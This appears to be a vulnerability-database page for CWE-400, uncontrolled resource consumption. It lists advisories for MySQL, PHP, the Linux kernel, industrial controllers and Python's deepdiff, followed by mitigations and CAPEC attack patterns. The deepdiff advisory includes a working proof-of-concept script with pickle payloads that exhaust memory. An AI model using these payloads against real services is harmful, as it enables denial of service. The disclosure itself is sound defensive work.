CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
5567 vulnerabilities reference this CWE, most recent first.
GHSA-54C4-M6WJ-XG9P
Vulnerability from github – Published: 2024-08-13 18:31 – Updated: 2024-08-13 18:31A denial-of-service vulnerability exists via the CIP/Modbus port in the Rockwell Automation Micro850/870 (2080 -L50E/2080 -L70E). If exploited, the CIP/Modbus communication may be disrupted for short duration.
{
"affected": [],
"aliases": [
"CVE-2024-7567"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-13T18:15:32Z",
"severity": "MODERATE"
},
"details": "A denial-of-service vulnerability exists via the CIP/Modbus port in the Rockwell Automation Micro850/870 (2080 -L50E/2080 -L70E). If exploited, the CIP/Modbus communication may be disrupted for short duration.",
"id": "GHSA-54c4-m6wj-xg9p",
"modified": "2024-08-13T18:31:17Z",
"published": "2024-08-13T18:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7567"
},
{
"type": "WEB",
"url": "https://https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1684.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-54F7-P954-GXW6
Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: InnoDB). Supported versions that are affected are MySQL Server: 9.7.0-9.7.1; MySQL Cluster: 9.7.0-9.7.1. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-47008"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T22:17:06Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: InnoDB). Supported versions that are affected are MySQL Server: 9.7.0-9.7.1; MySQL Cluster: 9.7.0-9.7.1. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
"id": "GHSA-54f7-p954-gxw6",
"modified": "2026-07-22T00:31:14Z",
"published": "2026-07-22T00:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47008"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-54GJ-PV8C-2QJ3
Vulnerability from github – Published: 2022-05-14 03:50 – Updated: 2025-04-20 03:40In PHP before 5.6.31, 7.x before 7.0.17, and 7.1.x before 7.1.3, remote attackers could cause a CPU consumption denial of service attack by injecting long form variables, related to main/php_variables.c.
{
"affected": [],
"aliases": [
"CVE-2017-11142"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-07-10T14:29:00Z",
"severity": "HIGH"
},
"details": "In PHP before 5.6.31, 7.x before 7.0.17, and 7.1.x before 7.1.3, remote attackers could cause a CPU consumption denial of service attack by injecting long form variables, related to main/php_variables.c.",
"id": "GHSA-54gj-pv8c-2qj3",
"modified": "2025-04-20T03:40:30Z",
"published": "2022-05-14T03:50:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-11142"
},
{
"type": "WEB",
"url": "https://github.com/php/php-src/commit/0f8cf3b8497dc45c010c44ed9e96518e11e19fc3"
},
{
"type": "WEB",
"url": "https://github.com/php/php-src/commit/a15bffd105ac28fd0dd9b596632dbf035238fda3"
},
{
"type": "WEB",
"url": "https://bugs.php.net/bug.php?id=73807"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20180112-0001"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2018/dsa-4081"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/tns-2017-12"
},
{
"type": "WEB",
"url": "http://openwall.com/lists/oss-security/2017/07/10/6"
},
{
"type": "WEB",
"url": "http://php.net/ChangeLog-5.php"
},
{
"type": "WEB",
"url": "http://php.net/ChangeLog-7.php"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/99601"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-54JJ-PX8X-5W5Q
Vulnerability from github – Published: 2026-03-18 20:10 – Updated: 2026-04-14 21:59Summary
The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.
Details
CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.
It can be exploited in 2 ways.
1 - During pickle_load
A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.
GLOBAL builtins.bytes (passes find_class check — serialization.py:353)
INT 10000000000 (10 billion)
TUPLE + REDUCE → bytes(10**10) → allocates ~9.3 GB
2 - During delta application
A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.
PoC
The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.
import resource
import sys
def limit_memory(maxsize_mb):
"""Cap virtual memory for this process."""
soft, hard = resource.getrlimit(resource.RLIMIT_AS)
maxsize_bytes = maxsize_mb * 1024 * 1024
try:
resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
print(f"[*] Memory limit set to {maxsize_mb} MB")
except ValueError:
print("[!] Failed to set memory limit.")
sys.exit(1)
# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load
limit_memory(1024)
# --- Delta application path ---
payload_dict = {
'values_changed': {"root['x']": {'new_value': 10**8}},
'type_changes': {"root['x']": {'new_type': bytes}},
}
payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")
target = {'x': 'anything'}
try:
result = target + Delta(payload1)
print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
print("[!] MemoryError — payload tried to allocate too much")
# --- Raw pickle path ---
payload2 = (
b"(dp0\n"
b"S'_'\n"
b"cbuiltins\nbytes\n"
b"(I100000000\n"
b"tR"
b"s."
)
print(f"Payload size: {len(payload2)} bytes")
try:
result2 = pickle_load(payload2)
print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
print("[!] MemoryError — payload tried to allocate too much")
Output:
[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB
Impact
Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.
The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.
Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.6.1"
},
"package": {
"ecosystem": "PyPI",
"name": "deepdiff"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "8.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33155"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-18T20:10:08Z",
"nvd_published_at": "2026-03-20T21:17:15Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe pickle unpickler `_RestrictedUnpickler` validates which classes can be loaded but does not limit their constructor arguments. A few of the types in `SAFE_TO_IMPORT` have constructors that allocate memory proportional to their input (`builtins.bytes`, `builtins.list`, `builtins.range`). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call `pickle_load` with untrusted data.\n\n### Details\n\nCVE-2025-58367 hardened the delta class against pollution and remote code execution by converting `SAFE_TO_IMPORT` to a `frozenset` and blocking traversal. `_RestrictedUnpickler.find_class` only gates which classes can be loaded. It doesn\u0027t intercept `REDUCE` opcodes or validate what is passed to constructors.\n\nIt can be exploited in 2 ways.\n\n**1 - During `pickle_load`**\n\nA pickle that calls `bytes(N)` using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override `load_reduce` so any allowed class can be called.\n\n```\nGLOBAL builtins.bytes (passes find_class check \u2014 serialization.py:353)\nINT 10000000000 (10 billion)\nTUPLE + REDUCE \u2192 bytes(10**10) \u2192 allocates ~9.3 GB\n```\n\n**2 - During delta application**\n\nA valid diff dict that first sets a value to a large int via `values_changed`, then converts it to bytes via `type_changes`. It works because `_do_values_changed()` runs before `_do_type_changes()` in `Delta.add()` in `delta.py` line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls `new_type(current_old_value)` at `delta.py` line 576 with no size guard.\n\n### PoC\n\nThe script uses Python\u0027s `resource` module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change `10**8` to `10**10` for the full 9.3 GB allocation.\n\n```python\nimport resource\nimport sys\n\ndef limit_memory(maxsize_mb):\n \"\"\"Cap virtual memory for this process.\"\"\"\n soft, hard = resource.getrlimit(resource.RLIMIT_AS)\n maxsize_bytes = maxsize_mb * 1024 * 1024\n try:\n resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))\n print(f\"[*] Memory limit set to {maxsize_mb} MB\")\n except ValueError:\n print(\"[!] Failed to set memory limit.\")\n sys.exit(1)\n\n# Load heavy imports before enforcing the limit\nfrom deepdiff import Delta\nfrom deepdiff.serialization import pickle_dump, pickle_load\n\nlimit_memory(1024)\n\n# --- Delta application path ---\npayload_dict = {\n \u0027values_changed\u0027: {\"root[\u0027x\u0027]\": {\u0027new_value\u0027: 10**8}},\n \u0027type_changes\u0027: {\"root[\u0027x\u0027]\": {\u0027new_type\u0027: bytes}},\n}\n\npayload1 = pickle_dump(payload_dict)\nprint(f\"Payload size: {len(payload1)} bytes\")\n\ntarget = {\u0027x\u0027: \u0027anything\u0027}\ntry:\n result = target + Delta(payload1)\n print(f\"Allocated: {len(result[\u0027x\u0027]) // 1024 // 1024} MB\")\n print(f\"Amplification: {len(result[\u0027x\u0027]) // len(payload1)}x\")\nexcept MemoryError:\n print(\"[!] MemoryError \u2014 payload tried to allocate too much\")\n\n# --- Raw pickle path ---\npayload2 = (\n b\"(dp0\\n\"\n b\"S\u0027_\u0027\\n\"\n b\"cbuiltins\\nbytes\\n\"\n b\"(I100000000\\n\"\n b\"tR\"\n b\"s.\"\n)\n\nprint(f\"Payload size: {len(payload2)} bytes\")\ntry:\n result2 = pickle_load(payload2)\n print(f\"Allocated: {len(result2[\u0027_\u0027]) // 1024 // 1024} MB\")\nexcept MemoryError:\n print(\"[!] MemoryError \u2014 payload tried to allocate too much\")\n```\n\nOutput:\n```\n[*] Memory limit set to 1024 MB\nPayload size: 123 bytes\nAllocated: 95 MB\nAmplification: 813008x\nPayload size: 42 bytes\nAllocated: 95 MB\n```\n\n### Impact\n\nDenial of service. Any application that deserializes delta objects or calls `pickle_load` with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn\u0027t prevent resource exhaustion.\n\nThe amplification is large. 800,000x for delta and 2,000,000x for raw pickle.\n\nImpacted users are anyone who accepts serialized delta objects from untrusted sources \u2014 network APIs, file uploads, message queues, etc.",
"id": "GHSA-54jj-px8x-5w5q",
"modified": "2026-04-14T21:59:44Z",
"published": "2026-03-18T20:10:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/qlustered/deepdiff/security/advisories/GHSA-54jj-px8x-5w5q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33155"
},
{
"type": "WEB",
"url": "https://github.com/qlustered/deepdiff/commit/0d07ec21d12b46ef4e489383b363eadc22d990fb"
},
{
"type": "PACKAGE",
"url": "https://github.com/seperman/deepdiff"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "DeepDiff has Memory Exhaustion DoS through SAFE_TO_IMPORT"
}
GHSA-54P8-X2M9-C593
Vulnerability from github – Published: 2026-03-02 18:48 – Updated: 2026-03-02 18:48Several extraction and scanning code paths registered late defers which could leak resources and exhaust system resources.
This report is an aggregate of these individual reports for the affected code:
Advisory | Affected File
-- | --
GHSA-jjgh-mc5q-gch7 | pkg/action/scan.go
GHSA-mwmf-fxh2-w4x7 | pkg/archive/deb.go
GHSA-p8j3-rpf5-gwv3 | pkg/archive/gzip.go
GHSA-qfh4-7f5v-75gq | pkg/archive/zlib.go
GHSA-wxxf-r586-5rf5 | pkg/archive/bzip2.go
Fix: #1354, #1355, #1356, #1361
Acknowledgements
Thank you to Oleh Konko from 1seal for discovering and reporting all six of these issues.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/chainguard-dev/malcontent"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.21.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-02T18:48:03Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "Several extraction and scanning code paths registered late defers which could leak resources and exhaust system resources.\n\nThis report is an aggregate of these individual reports for the affected code:\nAdvisory | Affected File\n-- | --\n`GHSA-jjgh-mc5q-gch7` | `pkg/action/scan.go`\n`GHSA-mwmf-fxh2-w4x7` | `pkg/archive/deb.go`\n`GHSA-p8j3-rpf5-gwv3` | `pkg/archive/gzip.go`\n`GHSA-qfh4-7f5v-75gq` | `pkg/archive/zlib.go`\n`GHSA-wxxf-r586-5rf5` | `pkg/archive/bzip2.go`\n\n**Fix**: #1354, #1355, #1356, #1361\n\n**Acknowledgements**\n\nThank you to Oleh Konko from [1seal](https://1seal.org/) for discovering and reporting all six of these issues.",
"id": "GHSA-54p8-x2m9-c593",
"modified": "2026-03-02T18:48:03Z",
"published": "2026-03-02T18:48:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/chainguard-dev/malcontent/security/advisories/GHSA-54p8-x2m9-c593"
},
{
"type": "WEB",
"url": "https://github.com/chainguard-dev/malcontent/pull/1354"
},
{
"type": "WEB",
"url": "https://github.com/chainguard-dev/malcontent/pull/1355"
},
{
"type": "WEB",
"url": "https://github.com/chainguard-dev/malcontent/pull/1356"
},
{
"type": "WEB",
"url": "https://github.com/chainguard-dev/malcontent/pull/1361"
},
{
"type": "PACKAGE",
"url": "https://github.com/chainguard-dev/malcontent"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "malcontent: Error-path cleanup gap can leak scanners and fds and degrade availability"
}
GHSA-54V8-5R88-9G69
Vulnerability from github – Published: 2022-05-17 02:12 – Updated: 2025-04-20 03:35An issue was discovered in Schneider Electric Conext ComBox, model 865-1058, all firmware versions prior to V3.03 BN 830. A series of rapid requests to the device may cause it to reboot.
{
"affected": [],
"aliases": [
"CVE-2017-6019"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-04-07T22:59:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Schneider Electric Conext ComBox, model 865-1058, all firmware versions prior to V3.03 BN 830. A series of rapid requests to the device may cause it to reboot.",
"id": "GHSA-54v8-5r88-9g69",
"modified": "2025-04-20T03:35:36Z",
"published": "2022-05-17T02:12:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6019"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-17-061-02"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/41537"
},
{
"type": "WEB",
"url": "http://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2017-052-01"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/96543"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-54VM-9R8Q-F6F9
Vulnerability from github – Published: 2022-05-24 17:43 – Updated: 2024-03-25 03:31An issue was discovered in the Linux kernel 5.9.x through 5.11.3, as used with Xen. In some less-common configurations, an x86 PV guest OS user can crash a Dom0 or driver domain via a large amount of I/O activity. The issue relates to misuse of guest physical addresses when a configuration has CONFIG_XEN_UNPOPULATED_ALLOC but not CONFIG_XEN_BALLOON_MEMORY_HOTPLUG.
{
"affected": [],
"aliases": [
"CVE-2021-28039"
],
"database_specific": {
"cwe_ids": [
"CWE-131",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-05T18:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in the Linux kernel 5.9.x through 5.11.3, as used with Xen. In some less-common configurations, an x86 PV guest OS user can crash a Dom0 or driver domain via a large amount of I/O activity. The issue relates to misuse of guest physical addresses when a configuration has CONFIG_XEN_UNPOPULATED_ALLOC but not CONFIG_XEN_BALLOON_MEMORY_HOTPLUG.",
"id": "GHSA-54vm-9r8q-f6f9",
"modified": "2024-03-25T03:31:42Z",
"published": "2022-05-24T17:43:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28039"
},
{
"type": "WEB",
"url": "https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=882213990d32fd224340a4533f6318dd152be4b2"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20210409-0001"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2021/03/05/2"
},
{
"type": "WEB",
"url": "http://xenbits.xen.org/xsa/advisory-369.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-54W6-M43P-JFFG
Vulnerability from github – Published: 2025-08-16 06:30 – Updated: 2025-11-05 00:31In the Linux kernel, the following vulnerability has been resolved:
ksmbd: limit repeated connections from clients with the same IP
Repeated connections from clients with the same IP address may exhaust the max connections and prevent other normal client connections. This patch limit repeated connections from clients with the same IP.
{
"affected": [],
"aliases": [
"CVE-2025-38501"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-16T06:15:27Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: limit repeated connections from clients with the same IP\n\nRepeated connections from clients with the same IP address may exhaust\nthe max connections and prevent other normal client connections.\nThis patch limit repeated connections from clients with the same IP.",
"id": "GHSA-54w6-m43p-jffg",
"modified": "2025-11-05T00:31:25Z",
"published": "2025-08-16T06:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-38501"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/6073afe64510c302b7a0683a01e32c012eff715d"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/7e5d91d3e6c62a9755b36f29c35288f06c3cd86b"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/cb092fc3a62972a4aa47c9fe356c2c6a01cd840b"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/e6bb9193974059ddbb0ce7763fa3882bd60d4dc3"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/f1ce9258bcbce2491f9f71f7882b6eed0b33ec65"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/fa1c47af4ff641cf9197ecdb1f8240cbb30389c1"
},
{
"type": "WEB",
"url": "https://github.com/keymaker-arch/KSMBDrain"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00008.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/09/15/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-54WH-FWQQ-M49J
Vulnerability from github – Published: 2024-03-05 21:30 – Updated: 2025-03-27 21:30An unauthenticated Denial-of-Service (DoS) vulnerability exists in the Spectrum service accessed via the PAPI protocol in ArubaOS 8.x. Successful exploitation of this vulnerability results in the ability to interrupt the normal operation of the affected service.
{
"affected": [],
"aliases": [
"CVE-2024-25615"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-05T21:15:08Z",
"severity": "MODERATE"
},
"details": "An unauthenticated Denial-of-Service (DoS) vulnerability exists in the Spectrum service accessed via the PAPI protocol in ArubaOS 8.x. Successful exploitation of this vulnerability results in the ability to interrupt the normal operation of the affected service.",
"id": "GHSA-54wh-fwqq-m49j",
"modified": "2025-03-27T21:30:59Z",
"published": "2024-03-05T21:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25615"
},
{
"type": "WEB",
"url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2024-002.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-5527-CM29-M2F3
Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-05-24 17:34Uncontrolled resource consumption vulnerability in MELSEC iQ-R Series CPU Modules (R00/01/02CPU Firmware versions from '05' to '19' and R04/08/16/32/120(EN)CPU Firmware versions from '35' to '51') allows a remote attacker to cause an error in a CPU unit via a specially crafted HTTP packet, which may lead to a denial-of-service (DoS) condition in execution of the program and its communication.
{
"affected": [],
"aliases": [
"CVE-2020-5666"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-16T01:15:00Z",
"severity": "HIGH"
},
"details": "Uncontrolled resource consumption vulnerability in MELSEC iQ-R Series CPU Modules (R00/01/02CPU Firmware versions from \u002705\u0027 to \u002719\u0027 and R04/08/16/32/120(EN)CPU Firmware versions from \u002735\u0027 to \u002751\u0027) allows a remote attacker to cause an error in a CPU unit via a specially crafted HTTP packet, which may lead to a denial-of-service (DoS) condition in execution of the program and its communication.",
"id": "GHSA-5527-cm29-m2f3",
"modified": "2022-05-24T17:34:22Z",
"published": "2022-05-24T17:34:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5666"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN44764844/index.html"
},
{
"type": "WEB",
"url": "https://jvn.jp/jp/JVN44764844/index.html"
},
{
"type": "WEB",
"url": "https://us-cert.cisa.gov/ics/advisories/icsa-20-317-01"
},
{
"type": "WEB",
"url": "https://www.mitsubishielectric.com/en/psirt/vulnerability/pdf/2020-015_en.pdf"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.